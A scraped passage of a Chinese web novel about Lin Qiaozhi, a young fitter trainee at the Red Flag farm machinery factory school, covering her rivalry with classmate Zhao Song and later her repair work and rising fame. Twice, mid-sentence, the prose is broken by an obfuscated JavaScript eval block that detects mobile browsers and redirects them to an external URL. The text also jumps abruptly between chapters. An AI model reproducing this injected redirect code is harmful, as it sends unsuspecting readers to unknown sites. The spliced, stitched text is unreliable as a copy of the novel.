他卡了卡,摆着手指头开始追着她报成语:“无与伦比、嗯……才高八斗,妙算神机,呃,大显神通!” 林巧枝额头青筋跳了两下。 她一脚踹过去:“钱明,你还要不要点脸?” 钱明有准备的一躲,但还是疼得夸张“嘶——”了一声,悲嚎:“巧枝姐啊,你要是不救救我,那就不是要不要脸了,我腿都要被打断啦!” 林巧枝压根没踹到他! 这家伙还是和小时候一样泼皮无赖,还装得跟受了多大疼似的? 林巧枝补踢一脚。 “哎呦!” 痛快了。 钱明龇牙咧嘴,透着可怜着凑过来,手在胸前合十:“拜托拜托,巧枝姐你是不知道王工的习惯,给他记小本上的问题,下次他来还不改好,真的会被罚死的!” 学长们教训可太惨痛了! “你技术好,主要是还会教人,行行好~这样,一直到王工下次检查,我们几个轮流给你从食堂带早饭怎么样?就当是徒弟孝敬师傅的。” 钱明说完,他身后几个人都连忙点头,明显钱明是他们推出来的代表。 林巧枝觑他一眼:“你就这么笃定我能教得会你?” 55分差点教成5分的惨剧,她可还没忘呢。 “我刚刚看你写的,我觉得我看得懂,感觉一看好像手就会了。”钱明表情兴奋,“而且这不是咱班就有不少补考进来的同学都是你教的?” 一看就会? 林巧枝对这个说法表示怀疑,确定不会一练就废吗? 林巧枝想了想:“之前那样教是不可能了,最多把笔记借你抄一份。” 她现在自己练习技术才是最重要,不能再分精力给别人了。 “那也行!”钱明顺杆往上爬,做拜托状,“巧枝姐!要是哪里看不懂,能不能指点一下?” 林巧枝觉得没眼看,这脸皮和口才用在哪儿不好? 她忽然脑中闪过一个想法,又打量了一下钱明。 “这样,如果你能找王工要来走廊尽头那间操作教室的钥匙,我可以在练习的时候顺便教一下,但我不保证效果。”林巧枝表示。 钱明脑子一转,去要操作教室的钥匙,理由是现成的,还显得他知耻后勇。但王工肯定是要安排三年级来看顾的。会选谁呢?多半也是被骂的那些,被安排来加练。 相煎何太急啊! 但一想到下次王工来检查,钱明咬咬牙,算了,死道友不死贫道! 拼了! *** 江城的秋天来得很急。 好像睡一觉起来,夏日的闷热被吹散得一干二净,该穿外套了。 红旗农械厂里到处都是灰蓝色工装。 厂里福利足,每年都会给职工发衣服,很多人家小孩子穿的衣服,都是大人发的新工装改小的。 大人穿,小孩也穿,家属也穿,放眼望去家属院最多的就是灰蓝色的工装外套。 林巧枝也套了一件工装外套,她喜欢这个材质,用料扎实,防风,耐磨,不易脏,不管怎么穿都不需要打补丁。 一件几乎不用打补丁的衣服!多讨人喜欢啊。 她在厂校学习得很顺利。 并且逐渐适应了外人看起来辛苦,她却觉得非常充实的生活。 她有种一点点被灌满的感觉,这些都会成为她向前走、向上走的力量。 力量积蓄在她的身体里,没有人可以撼动。 又是一天放学。 林巧枝收拾好工具,往后门走,路过钱明课桌时,用指关节叩了两下:“操作教室。” 钱明眼睛一闭,感觉自己要厥过去! “姐!!我喊你姑奶奶行了吧。”他最后几个字几乎带上哭腔,“咱能不能歇两天?” 前门,赵松正收拾工具箱,回头看了一眼这边,抿了抿唇,对在他身边抱着篮球等他的人说:“你们去吧,我就不去了,去练练技术。” “又不去打球啊。你都是咱们班上技术最好的了,干嘛这么拼。” 赵松闻言下意识回头看,已经空了。 他心里头一慌,提起工具箱:“你们去玩,我先走了!” “算了,没意思,那我也不打了,跟你一块儿去好了。” 可以看到,从这一届新生钳工班走出来的学生,只有零星几个是朝校外走的。 要么往东边那头的开放的操作教室,要么往走廊尽头的那间有车床的操作教室。 同样放学的二年级钳工班,钳工毕业班的学生:“……” “一年级的新生都疯了吧!” 回想一下他们当年,他们念的真的是一所学校吗? 林巧枝先去有车床的那间操作教室。 一个多月的时间。 她拆卸已经练得差不多了,能在规定的时间内全部拆完,组装也蹭三年级生的手法,学了七八。 她看了一眼教室墙上的机械挂钟,她们下午四点放学,现在的时间是四点八分三十秒。 低头,将工具一一摆开,开始拆卸。 等到全部拆完,她看了一眼时间,还行。 等组装完,她又看了一眼时间,眉心蹙起来。 蹲在旁边看的钱明几人,也看了眼墙上的机械挂钟:“不错啊!比上次又进步了快二三十秒。” 林巧枝却不满意,皱眉思索着:“下次还是得在王工来巡查的时候,找他看看。” 钱明咳咳干笑两声:“这不是找骂吗?” “又不要你来挨骂。”林巧枝指了指眼前这台车床,催促,“赶紧的,看完你的问题我还得去那头。” 王工虽然严格了一点,一点点小错都要揪出来,但要求高,进步也快。被他挑剔一轮,所有问题都会暴露出来。 相比之下,教操作课的老师就没有那么犀利了,也会指出一些问题,但都太柔和了,还有的不痛不痒的。 林巧枝在这边练了两轮,保持手感,给钱明讲了一下她笔记里的技术,然后就朝着另一头的操作教室走去。 就是入厂考核那间。 中间一个大操作台,开放给所有学生用。 林巧枝进去之后,找了个空位。 她把一块铁料夹在钳台上。 像是一层层的酥饼糕点一样,在铁料上划了一条条平行且密集的线。 然后开始练习,手工将其一层层锉薄。 *** 赵松从班上过来操作教室,那种心慌的感觉淡了点。 对于放学后来操作教室练技术,老师肯定是喜欢的,但作为学生,则感情不一,有的喜欢,也有的不喜欢。赵松就属于喜欢的那种,起码不用回家和他姐一起分着做家务了,而且也没有他爸在耳边念叨。 反而在学校,在一众同学中,当出类拔萃的佼佼者还挺爽的。 经常被老师点上台去展示操作,那种感觉也让人非常骄傲。 要是老师课后在表扬他两句,传到他爸耳朵里,那他在家里就更舒服了,连她姐喊他干活都少多了,因为他爸妈会拦着点,“小松累了,你别老喊他,就这点活顺手干了就完了。” 赵松走到旁边选铁料的箱子里。 这里堆满了用过、没用过的铁料,供学生们练习,学校会固定时间更换一批。 很多人活儿不精,他们用过的铁料,后头人还能再加工,或者干脆一点点打磨,一层层锉平都是可以的。 总之变成铁屑之前,总有人能用。 赵松从箱子里掏了掏,看到一个熟悉的手艺,瞳孔微微一缩。 手工活儿多少都带点个人风格,他们同学之间熟悉了,基本能猜得到。 像是手上这个,所有截面打磨得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15126599|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜面一样平整光滑,每一条边,每一个角都处理得非常清晰工整,棱角分明。 在窗外照进来的阳光下,打磨光洁的铁质截面闪闪发光。 一看就是林巧枝做的。 赵松心里涌起一种难以名状的慌乱,她又进步了。 他左右看看,没人注意,伸手在箱子里翻了翻,一连翻到三个。 摆在一堆铁料最上面,拿在手里一个个翻来覆去地看。 “赵松,挑啥呢这么仔细?今天要练点啥绝活?”有人一拍他的肩膀。 “没啥!” 赵松下意识把手往后一缩,又连忙忍住状若无事,干笑了两下解释:“找块合心意的铁料,我给你也挑一块。”他伸手进去,心虚地把挑出来的那几块铁料都推进去,“喏,这块给你。” 走到操作台前。 他脑子里还是刚刚看到的几个练习工件,他不是没见过努力的人,当学生的时候,总有那么几个好学生成天抱着书,效率也高,成绩也好。 可学钳工的这片地界儿,原本还是正常和谐的,即使有周树那种埋头练习的,但那不是勤能补拙吗? 赵松固定好铁料,不由在教室里扫了一圈,见林巧枝还没来,他下意识松了一口气,还好。 十指交叉活动了一下手指手腕,他深吸一口气,决定赶紧开始练习。 没事的,他之前是太惦记着去玩了,放学就是去打球,去玩。他也收收心,把心思放在技术上就好了,他都练了好几年了,不会那么轻易被超过的。 埋头一阵刮削。 他用抹布擦了擦铁料上的铁屑,然后满意的看这次练习的成果。 再一抬头,看到熟悉的身影。 下意识去看她手下的铁料,还有那一条条平直密集的划线,赵松表情顿时不太好了。 他站直了身体,假装扭腰活动脖子,偏头用眼角去观察林巧枝的操作。 她的练习要求又变高了。 赵松忍着心慌,手指攥了攥自己面前的铁料。 操作教室只有钢铁之间碰撞的声音,刮的、削的、磨的、搓的…… 好像一首铿锵交响乐。 林巧枝听习惯了,还觉得挺解压,好像让人沉浸在钢铁工业的世界。她们都在努力,努力成为新中国挺起工业脊梁骨的新生力量。 她松开锉刀,用手摩挲着铁料。 “在用秦老师说的方法练手感呢?”赵松见缝过来招呼。 林巧枝有点奇怪的看他一眼,赵松就第一天跟她聊了几句,问了她几下敲断钢棍,怎么他不是满分,之后就再没聊过了。 她还感觉,赵松这家伙有点避着他走。 今儿怎么主动凑上来了? 她“嗯”了一声,“我试过几个老师说的方法,觉得这个最有用,锻炼手感效果尤其好。” 赵松近距离看了下,点头:“秦老师提到过的吧?铁料一层层被锉薄的过程中,用手不断摩挲揉搓,我也练过,对手和眼睛形成对薄厚程度的感知挺有用的。” 他爸教他的,就是太累了,一层层锉下来手指头都僵了,整个手和胳膊都跟灌了铅一样沉。 练了几次他就没练了。 他犹豫了一会儿,还是开口问:“你真要提前毕业?” 林巧枝顺手又锉了一下,“这不是大家都知道的事吗?” “你这是何必呢?早几个月,早半年一年又没什么区别,老师对你也会要求更严,自己还累。”赵松说了两句,觉得自己越说越有道理,越说腰杆越直。 “我跟你说句实话,”他声音小了一点,“我爸跟我说了,王工开那个条件,压根就没想让你提前毕业,就是想让你知难而退呢,那个发动机侧盖板模具,根本不是学生能做出来的。” 林巧枝手停下,目光灼灼的凝视他:“你跑来跟我说这话,是想干嘛?” 赵松被她直直看过来的目光吓了一下,有种被看穿的感觉,心一虚,下意识辩解:“我也是为了你好。” 感觉气氛不太对,他又慌忙找补:“你看我学了几年了,还有三年级那么多人,都觉得做不出来,这不是明摆着的嘛。” 林巧枝看着他表情,忽然轻笑一声:“小时候你就不喜欢别人抢你风头,没想到长大了还这么幼稚。” “你要是怕了,就直说。” 别拐弯抹角扯上一堆人,还说为她好。 14.我偏不 “你要是怕了,就直说。” 被一语戳破心底那点自己都没意识到的想法,赵松脸一下涨得通红,“谁,谁怕了!” 他梗着脖子,嘴硬说:“你不听就算了,好心当成驴肝肺。” 说完,气得一挥胳膊转头往回走。 这会儿操作教室挺安静的,钢铁碰撞的声音都没了,只剩下些浑水摸鱼的磨铁声。 林巧枝左手捏了捏右手指节,她笑得斗志昂扬,扬声道:“赵松,你最好再加把劲再好好努力!” 她坦坦荡荡的“赫”地笑了一声:“因为我偏不,我偏要迎难而上。” “诶没办法,我这人啊,从小就倔强,你也是知道的。” 什么知难而退? 不去撞撞那堵南墙,她还叫林巧枝吗?她还是那个从小敢为自己争取的“野丫头”吗? 听了前面的话赵松还好,等听到最后那句“从小就倔强”背影都僵硬了一瞬,他忽然懊恼得想拍脑袋。 他知道,他当然知道! 怎么就忘了! 他手一重,在铁料上搓出了一个肉眼可见塌下去的歪角。 “哈哈哈……”江堤上的三个女孩笑得花枝乱颤前仰后合,“他真这么说啊?” 林巧枝摊了摊手:“就是啊,不知道怎么想的,难道以为搬出他爸,他学的几年钳工,还有那批毕业生,能把我给吓退喽?” 周末,她们约着一起到江边看芦苇荡。 为了江滩不泥泞,江城在江边种了非常多的芦苇,入了秋,单一的绿开始染上黄,黄绿交织摇曳出大片浓密色彩。 她们爬上堤坝的大斜坡,坐在高高的江堤上,俯瞰整个芦苇荡,江风吹得芦苇荡左摇右摆,白色的芦苇花染上暖黄的阳光,看起来非常壮丽! 身后隔着一条土路,是大斜坡,很多小孩子拿着各种自制滑板欢呼着兴奋往下滑。 眼前是大片的芦苇荡和滔滔的长江。 阿水弯腰扯了几根毛毛草,给她们分,“怎么可能,他爸又不是路工,说谁不行就不行啊?他爸又不晓得你的能耐,只能说明他爸觉得难,自己做不到。” 林巧枝笑着拿毛毛草和她碰了一下:“诶对了!我也是这么想的!而且他老说自己学了几年,还不是放学回家练个半小时一小时的,加起来能有多少时间?” 哪里就遥不可及了?还不一定天天坚持呢! 晚晚接过一根,轻轻咬毛毛草的根,甜得眯起眼:“说不定你暑假练习时间加起来,就抵得上他一两年了。” 宁珍珠噗哧一声笑出来:“他还是不了解巧枝,本来巧枝没注意他的,也没想比来着。他越这样说,巧枝越是要争这口气。”又眉开眼笑地侧头,调侃,“是吧,小倔牛?” “好啊,你还笑我。”林巧枝去挠她腰上的痒痒肉,宁珍珠笑得直往阿水晚晚身上倒,笑出泪花:“痒痒痒!!你省着点力气对付王工好呀。” “别担心,我觉得王工态度早就松动了。”林巧枝手双手向后撑着地,舒坦地瞭望着大江说。 要不然不会松口借钥匙给她们新生用,明知道她一直在练拆卸组装车床也不干涉。有时候还怪挑剔的,让她进步很快。 南墙又怎么样?南墙也是砖石垒的,照样怕铁锤一下又一下的砸。 王柏强确实有点改变想法了,这种变化很微妙,甚至不知道从什么时候开始的。 要知道,他最初可是真的想让人知难而退的。 他在看学生这个月操作课交上来的手工件。 乔元提着暖水壶给他的茶缸掺着点热水,看了眼他手上摆弄着的手工件,问:“你挺看好林巧枝的?” 王柏强把工件放下,拿起茶缸:“是不错,你看看她做的这活儿。” 把手工件推到乔元面前,端起茶缸喝了一口。又道:“关键还有一点,她干活用脑子,这很难得。” “哦?”乔元好奇的拿在手上端详,眼里有点惊讶,进步得有点快啊。 王柏强也是最近才发现,林巧枝特别会教人,很多问题到她眼前,她都能精准地指出问题关窍,并且提出改正的方法。 这说明什么?说明她学习技巧的时候,带着脑子把里外都想通了,想透彻了。 这也印证了他和老秦之前的猜想。 说句不好听的实话,很多人干活都是蒙的。 师傅怎么教的,就怎么做,但不去思考为什么。 去年他们厂有一批出厂的拖拉机,大家都知道那一批次要求在纵向大梁和后桥壳体链接处多加两道工序, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15128669|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但估计有不少人都不知道为什么。 很多人的懒惰不体现在身体上,而是体现在脑子上,活照干,但懒得动脑,懒得去总结思考,懒得去学习新东西。 这种时候,愿意动脑筋的聪明人,就显得格外突出了——也是成为高工的基础。 乔元思忖片刻:“这么说,她指不定真能闯出条路来。” “看着吧,她有这个骨气。” *** 把这批操作课作业检查完,王柏强端着茶缸喝了一口: “师父下个星期不是被铁路局请去帮忙顺便培训吗?咱添三个人,一个年级一个名额,带出去见见世面。” 乔元笑呵呵地说:“师父搞培训最爱现场演示,你带几个学生去,不怕搞砸了师父削你?” 王柏强脸一黑:“师父削我,我难道不会回头削他们?” 从江堤上回来。 她们四个才刚刚进家属院,就见在门口择菜的王婶冲她们问:“哎巧枝,他们都一窝蜂去学校了,你怎么不去啊?那可是路工亲自带着出去嚄!”她语气崇拜又感慨,“路工诶!!” 林巧枝眼睛瞬间瞪大,不敢相信自己的耳朵,她连忙问:“什么学校?什么路工亲自带着出去?” 王婶挥着菜梗:“就是你们每个月做的那个零件,说是一个年级挑一个好的。” 林巧枝一喜,差点乐得蹦起来! “王婶谢啦!”她跟兔子一样转身就跑,还兴奋招呼,“快快快,陪我一起去看。” 一路疯跑到学校门口。 果然人很多! 议论声沸反盈天,到处都是懊恼后悔可惜的声音。 红旗农械厂这一批子弟,都是从小听路工的故事长大的。 每个月交一次的操作课作业,都会打分张贴在学校外墙上。 看到她的名字高居榜首。 林巧枝激动地和珍珠她们抱成一团,她眼睛里都泛着泪花:“是我,是我呀!” 她跌跌撞撞走了好久,紧紧抓着孟主任照进来的那一缕光,满怀憧憬地往前走,受了好多伤,挨了好多骂,终于、终于走到了光的裂口。 不够,还不够!林巧枝昂着头,努力眨眼睛让泪花干涸,不管多难她都一定还要继续往前走。 46-50 46、行业初露峥嵘 江城,红旗厂。 一车间。 随着进入深秋,车间顶部永不停歇呼啦啦直转的吊扇也安静下来,天气非常舒服。 林巧枝正在车间,处理一台出问题的铣床。 相比做项目。 安安静静地做技术,林巧枝发现真的是有点舒服。 比起错综复杂的人员进度管理,推敲着不断发生细微变化的方案,迎接变幻莫测的问题,纯粹做技术实在是轻松享受。 好像在给头皮按摩。 是一种心安的感觉,沉浸在钢铁机械的世界里,仿佛世界都随她手下操作而动。 “吁——真爽快。”林巧枝处理完嵌压碎屑,脸上都不免多了几分惬意和舒心。 只不过,她这里是开心了。 在她的旁边,胡清却迷茫了。 一边忍不住来来回回看林巧枝操作,一边怀疑自己的眼睛。 毕竟,在胡清看来,林巧枝的技术,在这几个月的项目经历之后,就像是坐火箭一样,一下进步得飞快,让同班组里很多师兄弟都猝不及防。 老天呐,林巧枝这到底是吃了什么饲料? 她的錾削、锉削、攻丝、锯切技术,又上升到哪个台阶了? 王工!!萧师兄说得没错,这简直是不讲道理,您得来看看呀……最近被臊得面红耳赤,又被练得泪眼汪汪的胡清在心里哀嚎,心里情绪就和他爱的八卦一样精彩纷呈。林巧枝专注着,并没有察觉。 她现在很爽! 这种快乐,就好像她小时候就能修好全家属院所有小孩玩具一样。 她都非常熟悉,在熟悉的领域里,问题被她一个个揪出来,然后一个个解决,如同眼前沉疴暴发乱糟糟的铣床,一点点被理顺,变得规整、变得有秩序。她满意地看了看。 抬头对上胡清,“胡哥你没事正好,我记得你上次是不是领了红丹粉,还有剩吗?给我抓一把。” 胡清从他的操作台边弯腰拿过来一罐红丹粉,更近一点看她拆开铣床修理的情况:“这台铣床加工精度丢失,还有器械变形的原因?” 林巧枝接过来,点头道:"嗯,金属碎屑和氧化锈层形成了硬垢,局部区域因为应力变形,产生了0.3mm的高低差,我用红丹粉测一测接触面,标一下高点和凹面。"胡清大致是听明白了。 这问题好像不太简单的样子。 再探头看了一眼她这边的铣床,他问:“你这才做了半下午吧?” 中午才分配到她手上的新任务。 林巧枝这小师妹,绝对是坐火箭了吧?!从铣刀拆到导轨,这么复杂的排查和检修,她都快把问题处理完了。 而且,这是已经找到精度丢失的原因了吧? “差不多吧,午休后接过来的。”林巧枝把红丹粉涂抹上,导轨上因为应力变形而凸出来和陷进去的地方一目了然。她继续处理,将这台铣床导轨凸出的高点,非常干净利落的削切掉,并且很快对削切的部位做磨平。 林巧枝这一削切,好像直接削在胡清颤巍巍的心脏上。他余光捕捉到王柏强。不由大狗看肉骨头一样热切的看过去。 王工! 你来看呐!! 这还有天理吗,不能拿他和林巧枝比啊!! 王柏强对上他手电筒一样锃亮的目光,额头青筋一跳。 管着这一群徒弟,跟养了一群嘎嘎叫的鸭子一样,没几个省心的。 等到王柏强靠近,胡清才藏着点最近被狠狠收拾的委屈,“王工,您看看,敢信这真是报修的那台问题复杂、精度丢失的铣床?” 王柏强走近了才看清楚。 这会儿,这台出问题的铣床,除了基体金属的细微变形外,什么氧化锈层、什么应力变形,什么嵌压碎屑,都不见了。 整个操作区域,规整有序,压根看不出这台铣床曾经报修的数个毛病,还存在车间钳工无法独立解决的复杂问题。 这台铣床,好像不是高压高负荷白班夜班撑了很多年爆发问题的老铣床,倒像是来做日常保养维护的。 哪里像是丢失精度的样子? 王柏强站旁边默默看了一会儿。 林巧枝如今也算是正式的三级核心人员了,不再是之前那种“被照顾”的状态。 之前的林巧枝,能参与去湖南的实地考察,能制作新款丘陵拖拉机传动系统里的关键部件,很大程度上,可以说是王柏强看重,或者说因为她表现优秀被照顾。其实,按道理,之前的林巧枝,作为刚刚毕业入厂的二级工,是要负担起不少一线生产工作的。 不过现在,林巧枝是真的不一样了。 在落地过20吨大型模具之后,她不需要再去承担那种最基本的一线略带重复性的生产任务,毕竟太浪费技术人才了。 她现在做的,都是真正带一点“独当一面”“需要解决问题的能力”“对能力有提升和锻炼”的实质性工作了。 比如: 更高阶、更核心的工件和模具。 非常能锻炼人的、综合性的维修、机械探伤、设计新农机新功能等等实际问题。 她喜欢这些工作,总感觉有一天,她也能像是路工一样,被各地遇到困难的单位满怀期待地请去,瞟一眼,搓一刀,就能轻而易举解决对方的问题。 那可太厉害了! 让她劲头十足!! 她喜欢这些一步一个脚印,能感觉自己变得更厉害的努力。 这就让在旁边的王柏强也有点懵了,很摸不着头脑,他之前就不太想得通,林巧枝是怎么进步的,能在厂里青年组钳工技术比试里拿下第一名。他都还没琢磨出来林巧枝是怎么进步的,现在发现林巧枝又进步了。 就在他眼皮子底下。 王柏强技术强,眼力也强,自然能看得出来,就现在,林巧枝在处理铣床导轨问题,她的手法每一下都有细微的变化和精进。 这就有点不可思议了。 等林巧枝处理完应力变形的区域,再抬头就看到王工用一种囧囧压眉的不解表情来回扫视,吓了一跳,“王工?” "……您看什么呢?"“你说我看什么呢?” "啊?" “你当你师傅是傻子啊,你现在涨技术这么明显,我难道看不出来吗?”王柏强向林巧枝投以一个纳闷的眼神。 林巧枝飞快摇头,赶紧道:“我绝对没有这个意思!” “其实,我有私下用功的。” “就是吧……总不好见人就说,您说是吧?”林巧枝说得是大实话,就是带点戏谑和调皮。 这几个月虽然在忙项目,但她在梦里可没消停,为了缓解压力到处看,什么齿轮厂、机床厂、吊扇厂……脑子累了就找点铁搓搓,休息一下。但她总不能一做梦,一学习,就跑到王柏强面前嘚瑟,师傅,我又进步了。 再一晚上。林巧枝又说,师傅,我对锉削有了新的感悟。又睡一晚上。林巧枝钻出来,师傅,我好像懂了一种新的电渣焊技术。 第四天。 林巧枝又蹦出来,师傅,我对天车怎么用,又有了新的想法,以后再有异形模具,可以试下柔性吊装法…… 第五天。 林巧枝又跳出来,哎嘿嘿! 别说是王柏强了,就算是全国最顶尖的工业人,来了都得被林巧枝弄得怀疑人生。 可以预见,即使是随便一个路人,也会因为林巧枝过于嘚瑟,而生出把她痛扁一顿的想法。 而几个月的积累,全都需要在梦外用身体消化吸收,就好像身体里蓄积了一蓄水池的洪水,总要找个倾泻而出的出口。 就造成了现在的局面。 王柏强显然是个“努力论”的忠实拥趸。 他脸上的纳闷显而易见的变成理所当然,眉头都恍然翘起,就是仍旧有些稀奇地看她:“你什么时候用功的?” 他之前总见林巧枝独自练习技术,倒是对她这股拼劲儿没有一点怀疑。 “不是您说的吗,时间挤一挤总是有的。”林巧枝还能怎么说,只能用王柏强自己的话打太极。 王柏强沉默了。 他头一次被自己的话给干沉默了。 时间挤一挤,是林巧枝这么用的吗? 经常因为谈对象耽搁时间,总被王工用“时间挤一挤总是有的”这句话敲打的胡清本人:"……" 他喊王工来。 是想让王工看看师妹天赋多好,不能拿他跟林巧枝这种八个月毕业的天才比啊!! 温厂长就是在这个时候,带着亢奋昂扬快步迈进了车间,脚步都带风。 作为厂长,他本人的学识经验称得上涉猎甚广,在拖拉机上也算有些深耕,但真正对比一线高工,就显得不那么深刻了。 正因为如此,他平时是不会随便跑到车间晃来晃去的,而是放手给各个班组的高工、组长来管,尤其是高级技术工人干活,一人一机床一套工具足矣,领导在旁边完全是画蛇添足。 但是,温东鸣今天,实在是接到太多来自工业战线同行来的电话了。要说作为南方拖拉机市场龙头,收到各单位的请托请教,或者是来自各个地方的求援求助,都很正常,可今天还是很有些不一样。有的指名道姓想请林巧枝看看自己单位的某某大型设备,或者看看某国外进口的某重机械……一开始他都还是用脑子记的,后来都不得不夹着电话往本子上记了。生怕给忘了。 “这是在琢磨啥呢?”温东鸣笑呵呵的靠拢,看王柏强又逮着两个年轻人在跟前。 他是晓得的,柏强别看面上黑,心里其实喜欢这个小弟子不得了,拿了青年组第一名还扬眉吐气到他跟前来了,怕是舍不得训。 那就是旁边这个年轻小伙了。 "温厂长。"林巧枝和王柏强两人都问候道。 面对温东鸣询问的眼神,王柏强可能是最近心情确实比较愉悦,连石头一样硬邦邦的臭脾气都收敛不少,只挑拣着一些“我这小徒弟也没有特别厉害就是努努力就进步了某某某。”的凡言凡语给温东鸣如此这般了一番。 林巧枝觉得王柏强变了。 不是爱骂人吗,说话怎么变成这样式的口气了? 她偏偏作为徒弟,拿当师傅的一点办法都没有。只能在每次打喷嚏之后,暗暗琢磨这次是不是又是王工,然后默默同情一番王工的朋友和这满厂高工。 比如乔元。 林巧枝真心怀疑他深受其害,要不然怎么最近躲着王柏强走?看他那张脸,都好像写着——烦人!真的很想打死这家伙! "哈哈哈,这不是正应了主席那句‘数风流人物,还看今朝′"温东鸣先也是讶然,又大笑两声,百年战火英杰辈出,能人志士如过江之鲫,见惯了史书惊艳,亲历了血红年代,他当然不会为林巧枝展现出来的过人天赋而太过惊讶。 反而亲切道:“累不累?复工还能适应吧?我可听说你不老实,让你休息还跑去宣传科那边写手册。” 林巧枝颇有些不好意思:"毕竟有那么多人需要……而且也是为了多点钱嘛。" 虽然一再强调说辞,不是稿费。 但连林巧枝都知道,在这套体制里,越是强调越是真相。 她就是在变相拿稿费啊! 出版有钱。 加印有钱。 写新书也有钱。 谁会不爱钱呢? 有钱她可以换到足够的票,天天吃肉蛋鱼,让身体变得更结实更有力气。 有钱她可以不用受任何人钳制,任何时候都不委屈自己。 不需要去担心“性子这么凶以后哪个婆家要你”“嫁不出去看你怎么办”,她不需要靠谁就可以养活自己。 也不需要担心“钱钱钱,就知道找我要钱,上次给你的钱呢?都花哪儿去了。”,像她妈妈一样因为窘迫时伸手要钱,咽了半辈子委屈。 …… 而且。 林巧枝想到杨玲给她带来的天南海北读者寄来的感谢信,无意识想咧嘴笑,又感觉好像不太谦虚,于是几次笑开嘴角又忍回去。 她可真厉害呀。 温东鸣三言两语把林巧枝拐走了,留胡清满脸宽面眼泪,独自面对眼神更可怕的王柏强。 温东鸣稍微整理了一下思绪,他来时路上满脑子的想法和说辞,都有些被这一插曲搅乱了。 他边走边说:“想挣钱不是什么坏事,没什么不好意思的,第一笔款应该也快到了,后来加印一次,再加这本新的,出版社那边还得再打两笔钱给咱们……你有这天赋,可得好好用起来,不能埋没了,有没有想过写个分体研制的技术总结?" “工作笔记我一直都在写,但应该没有厂需要再重复做这个模具了吧?”林巧枝不太明白,又隐隐有些感觉。 温东鸣摇头:“我说的是里面的经验,或许可以整理出一份《大型模具分体研制经验以20吨大型复杂冷轧模具为例》” 林巧枝步子一顿。 又兴奋地看向温东鸣:“内部技术资料?” 她之前在王柏强的担保下,提前得到权限,看过许多内部技术资料,凝聚着许多工业人的心血和经验,见证着这个大国在封锁中举步维艰的成长。 “是的。”温东鸣笑着说,又拍拍她的肩膀,“入党申请书也可以准备起来了,刚好开年就十八了吧,你想的话,我可以当你的介绍人,或者王工也可以。” 他觉得这事顺理成章,没注意到林巧枝脸上惊喜之下的那一丝犹豫。 她……其实很早很早心里已经藏着介绍人的人选了。 温东鸣继续说:“你有做工作笔记的习惯很好,这几天可以慢慢梳理,有不少单位都打电话过来,说想要来我们这里学习经验,到时候我们用大礼堂办个分享交流会……”天才的光辉,就好像初升的朝阳,真当是遮掩不住的光亮,吸引着四面八方的目光。 她还如此年轻,如此有冲劲儿。 温东鸣心中忍不住感慨。 “大礼堂……交流会?”林巧枝起初还兴致冲冲,这会儿仿佛被揪住了命运的后脖颈,目露茫然和不敢相信。 这是不是太夸张了,怎么还用上大礼堂了,那不是表彰大会之类的大活动,才用得上的吗? 温东鸣忍俊不禁:“指不定我办公室的专用电话,这会儿还在响呢。”见年轻人懵懂的样子,对自己在外面初露峥嵘的名气宛若未闻,忍不住逗她,“说个你肯定知道的,上海江南造船厂他们也要来。"林巧枝大为吃惊,仿佛不敢相信自己耳朵捕捉到的音节:“是那个在抗日战争时''□□炸舰 沉船封江’的江南造船厂?” 那可是船舶行业的巨龙! 也是工业领域赫赫有名的领头羊之一啊! 温东鸣露出一丝笑:“历史学得还不错,这事都知道?” “当然了!!”林巧枝生长在长江流域,与船舶为伴,怎么会不知道抗日战争时期,足足8次沉船阻塞航道的壮举,“当年江南造船所,配合海军在长江要塞沉船御敌,还布置了他们自造的□o,那场沉船行动粉碎了日军想要速战速决,一个月占领上海的狂妄企图。" 她记忆中长江要塞沉船的黑白照片,悲壮得宛如一场黑色葬礼,一艘艘装满石块的铁船自凿沉没,缓缓没入冰凉江水,那是航运人慷慨应征,以极其悲壮的方式拯救家国于存亡之际的壮举。 “他们真的要来?”林巧枝至今仍是不敢相信,那样历史悠久的船舶大厂,会要来红旗厂交流学习。 她虽然自豪于红旗厂,但也是有自知之明的,她们是新中国后才崛起的,和那样底蕴深厚,历史悠久的江南造船厂如何能比? “闻道有先后,术业有专攻。”温东鸣听到的时候何尝不诧异又自豪,不过在年轻人面前,他还是端得住,“不管是谁,多么雄厚的底蕴,要是故步自封,都只会走下坡路。” 偌大的一个国都能败给故步自封。 何况一个制造厂。 恰恰是对方这种积极交流的态度,才是锐意进取、迎头直上的征兆啊。 温东鸣又提了几个压铸厂,制造厂:“看到你用分体研制的方法制作出超天车重量两倍的大型模具,就都想找你帮忙看看他们行业的类似问题,我感觉着,应该是有一些共通之处的,咱们既然作为开路先锋闯出了一条路来,有了一例成功经验,就把它发扬光大,用到极致。” 林巧枝:“分享经验我肯定没问题,不过,能不能用得上我就没法保证了。” “那肯定的。”温东鸣安抚她,“你别太大压力,自信点,那20吨大型模具的方案和图纸都是开山之作,成品也惊艳,就代表你的能力还是相当强的,所以大家才闻风而来…" “我压力不大的,”林巧枝摇摇头,反而心中有些雀跃,还有些荣幸,“我只是在想,怎么能做得更好一些。” 工业复兴这条路,永远不存在一枝独秀,独霸鳌头。 …… 要么群星闪耀,光芒万丈,要么星子暗淡,长夜漫漫。 这是非常好理解的道理。 如果没有大连机床厂,齐齐哈尔第一机床厂这些机床突破,红旗农械厂就不会有如今的生产力。 